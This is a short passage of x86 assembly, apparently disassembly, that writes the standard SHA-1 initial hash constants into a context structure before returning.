mov dword [eax + 0x50], 0x98badcfe
mov eax, dword [ebp - 4]
mov dword [eax + 0x54], 0x10325476
mov eax, dword [ebp - 4]
mov dword [eax + 0x58], 0xc3d2e1f0
pop ecx
pop ebp
ret